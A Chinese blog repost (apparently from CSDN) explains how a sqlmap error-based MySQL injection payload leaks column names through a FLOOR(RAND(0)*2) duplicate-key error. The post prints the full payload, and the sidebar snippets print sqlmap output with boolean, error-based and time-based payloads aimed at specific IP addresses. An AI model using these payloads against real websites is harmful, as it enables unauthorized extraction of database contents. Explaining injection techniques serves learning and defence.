关于mysql的error-based injection payload

最新推荐文章于 2022-01-30 12:46:23 发布
转载 最新推荐文章于 2022-01-30 12:46:23 发布 · 71 阅读 · 0 ·
CC 4.0 BY-SA版权
原文链接：http://www.cnblogs.com/flyFreeZn/p/3421510.html
文章标签：

#数据库 #开发工具

本文介绍了使用SQLMap工具进行SQL注入的一种技术——Error-Based注入。重点解释了一个复杂的SQL语句如何通过制造特定的错误来获取数据库表的列名。

今天用sqlmap扫一个网站，想得到一个表的所有列名，注意到sqlmap用到的一个error-based payload的:

 

1 AND (SELECT 3174 FROM(SELECT COUNT(*),CONCAT(0x71666f7771,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x73797374656d AND table_schema=0x68646d303334303337335f6462 LIMIT 0,1),0x7165767371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

 

sqlmap通过这句话最终得到了一个叫“system”的表的一个叫“id”的列的列名（也就是“id”:）

好奇这个sql语句是怎么实现这个功能的。

第一眼看到这个sql语句真心是一头雾水，在vim里面展开，并在目标机器上跑了一下，发现会报一个

错误：Duplicate entry 'qfowqidqevsq1' for key 'group_key' (1062)

这个错误的entry就包含着要得到的列名“id”，原来这就是传说中error-based的意思，就是通过让目标机器的mysql server报错，来获取对应的信息。

通过分析，造成这个错误的原因主要在于那个concat()最后的floor(rand(0)*2),这个东西每次随即产生的值不同会导致group by的key不唯一，所以就报错了。真心是妙招。

 

随便google了一下，找到这么一个网页，有一些专门相关的介绍

http://zentrixplus.net/blog/sql-injection-error-based-double-query/

转载于:https://www.cnblogs.com/flyFreeZn/p/3421510.html

Hack The Box -SQL Injection Fundamentals Module详细讲解中文教程
技术分享
07-24 1640
Hack The Box -SQL Injection Fundamentals Module详细讲解中文教程
挖洞经验 | 构造基于时间的盲注漏洞（Time-Based SQLi）
南迪叶先森
07-05 604
公粽号：黒掌 一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主！ ** ** 某天，当我参与某个漏洞众测项目中，偶尔发现之前一个从未见过的子域名网站，因此我决定深入测试一下。该网站主界面 是一个登录页面，开放了用户注册功能，所以我就注册了一个账户，最后试出了一个时间盲注来。 在查看该网站过程中，我发现其中还有一个搜索功能，我尝试进行了XSS，但是无效。当时，我根本没想着去测试SQL注入漏洞，因 为我觉得开发人员应该部署了完善的过滤措施，不可能存在注入漏洞。但是，其中的点击按钮引起了我的注意，即当.
使用node.js里jsonwebtoken模块出现Error: Expected “payload“ to be a plain object错误
Z_Gleng的博客
01-30 3226
在之前提到过jsonwebtoken模块出现这个错误可能是jwt.sign()方法里的第一个参数出现错误这里的第一个参数必须是object类型 router.get('/login',async function(req,res){ const username=req.body // if(err) return console.log(err); const user=await userModel.find({'user':username}) const a={...user[0
Uploadify-Script5007 Object expected 修正js
04-20
IE下使用uploadify上传报：Uploadify-Script5007 Object expected解决方案
jquery报错: "object expected"
dongxiaohui2008的专栏
12-12 3266
*******************************************************************     jquery报错：   ************************************************************************1. "object expected"错误：  是jquery库的引用方式不对引起的。
BeautifulSoup4 UserWarning
ace_fei的专栏
01-06 1万+
错误描述： /opt/ActivePython-2.7/lib/python2.7/site-packages/bs4/__init__.py:166: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). Thi
D:\WpSystem\S-1-5-21-589763762-2765656899-3959673489-1001\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\sqlmap>python sqlmap.py -u http://223.112.5.141:64701/ --data "uname=1*&passwd=1"--dbs ___ __H__ ___ ___[(]_____ ___ ___ {1.9.1.2#dev} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:25:21 /2025-07-21/ custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y [15:25:23] [INFO] resuming back-end DBMS 'mysql' [15:25:23] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: uname=1') RLIKE (SELECT (CASE WHEN (1315=1315) THEN 1 ELSE 0x28 END))-- zswx&passwd=1 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: uname=1') AND (SELECT 9615 FROM(SELECT COUNT(*),CONCAT(0x71706a7171,(SELECT (ELT(9615=9615,1))),0x7170766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jjis&passwd=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=1') AND (SELECT 8466 FROM (SELECT(SLEEP(5)))PVEU)-- xERO&passwd=1 --- [15:25:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [15:25:23] [INFO] fetched data logged to text files under 'C:\Users\xxxxxxxxxxxxxxxxxxxx\AppData\Local\sqlmap\output\223.112.5.141'什么意思
最新发布
07-22
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 4998 FROM (SELECT(SLEEP(5)))rPUF) AND 'tngB'='tngB --- ``` - **解释**： - `total of 274 HTTP(s) requests`：...
sqli-labs less 18 POST- Header injections - Uagent field -error based
Monster1m的博客
01-25 285
一、这关提示头部注入。先来看一下源码 1.又出现了check_input函数，说明又开始进行了输入的过滤，先来找找哪些变量用到了这个函数 2.这里发现uname和passwd都进行了过滤，所以不能作为注入点，需要找其他没有被过滤的注入点 3.$_SERVER是一个包含了头信息、路径等的数组，这里直接赋值了agent没有对数据进行检查，下一步就是要找到有没有数据库语句用到这个uagent变量 4.发现这里的插入语句用到了uagent，可以确定在此注入，并且是用单引号闭合 5.这里有有输出数据库错误信息
sqlmap -u 'http://192.168.9.145/6/index.php?id=1' --dbs ___ __H__ ___ ___["]_____ ___ ___ {1.9.2#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:15:39 /2025-04-01/ [22:15:39] [INFO] testing connection to the target URL [22:15:39] [INFO] heuristics detected web page charset 'utf-8' [22:15:39] [INFO] testing if the target URL content is stable [22:15:40] [INFO] target URL content is stable [22:15:40] [INFO] testing if GET parameter 'id' is dynamic [22:15:40] [WARNING] GET parameter 'id' does not appear to be dynamic [22:15:40] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [22:15:40] [INFO] testing for SQL injection on GET parameter 'id' [22:15:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [22:15:40] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [22:15:40] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [22:15:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [22:15:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
04-03
好的，我现在需要帮助用户了解SQL注入测试的结果，特别是关于参数'id'是否可被利用进行SQL注入。首先，我应该回顾用户提供的引用内容，看看里面有没有相关的信息。 引用[1]显示了一个SQL查询语句：SELECT Name, ...
object expected出现错误怎么办
weixin_33785972的博客
03-22 544
今天在做项目的时候遇到一个非常之郁闷的一个问题，运行Web，出现object expected错误!，调式还调试不出是哪里出了问题，运行以前的项目也会出现这个错误！我非常之郁闷，在网上搜了好久，终于被我搜到了这个错误的解决方案，通过搜索这个错误，看见有很多人也遇到跟我一样的错误！ 现在我讲解决方法贴出来。 重新注册组件jscript.dll试试 第一、打开电脑，选择电脑屏幕左下角“开始”...
spring mvc报: Errors/BindingResult argument declared without preceding model attribute
okey88的专栏
10-25 8712
spring mvc报: Errors/BindingResult argument declared without preceding model attribute. 是因为在spring mvc中，BindingResult的对象必须与@ModelAttribute声明的对象绑定。在controller的方法中，BindingResult对象参数必须与@ModelAttribute挨着。
Jackson异常问题和解决方案总结
热门推荐
蚁人的博客
10-30 6万+
转自：http://www.baeldung.com/jackson-exception 1. 前言 在本教程中, 我们会回顾最常见的Jackson异常 – the JsonMappingException and UnrecognizedPropertyException. 最后，我们将会简要讨论Jackson 中的no such method错误。 2. “Json
nodejs中使用jsonwebtoken模块遇到的错误
Homer_Simpson的博客
04-12 6394
前端学习真的是要踩一路的坑啊，我之前学习新知识都是通过看视频，后来发现这种方式太慢，还不如看博客，实操一个项目学习的快。 最近在学习Nodejs的restful风格api的搭建，网上搜了搜发现学习资料还是不好找，博客上的资料都太老了，我找那篇博客都是2015年的了，但是感觉可操作性很强，写的比较小白，适合我这种新手，而且还可以练习使用下postman。再三犹豫下，我还是选了这篇来学习，只能说知识...
TMS320C6748DSP开发出现 error: expected a ")" 问题
xkl649的专栏
03-12 2525
昨天编译的时候出现了error: expected a ")"的错误，检查了一下，发现的原因是：宏定义有问题！！！ 变量宏定义有问题，我定义一个变量#DEFINE PSC_1_REG （0x01E2 7000）， 在使用的时候中间多了个空格，导致出现了这个错误，将空格去掉后这个错误消失了。
mysql注入之盲注语句汇总
sirius的博客
08-28 4761
目录 mysql注入之盲注 常用语句汇总 基于bool盲注 查询当前数据库 基于时间的盲注 盲注常用函数： regexp正则注入 like匹配注入 特殊的盲注之报错注入 mysql注入之盲注 什么是盲注？ 基于布尔型SQL盲注即在SQL注入过程中，应用程序仅仅返回True（页面）和False（页面）。 盲注就是利用真假条件进行测试。 这时，我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断（比较大小）来得到我们需要的信息。 常用语句汇总 基.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值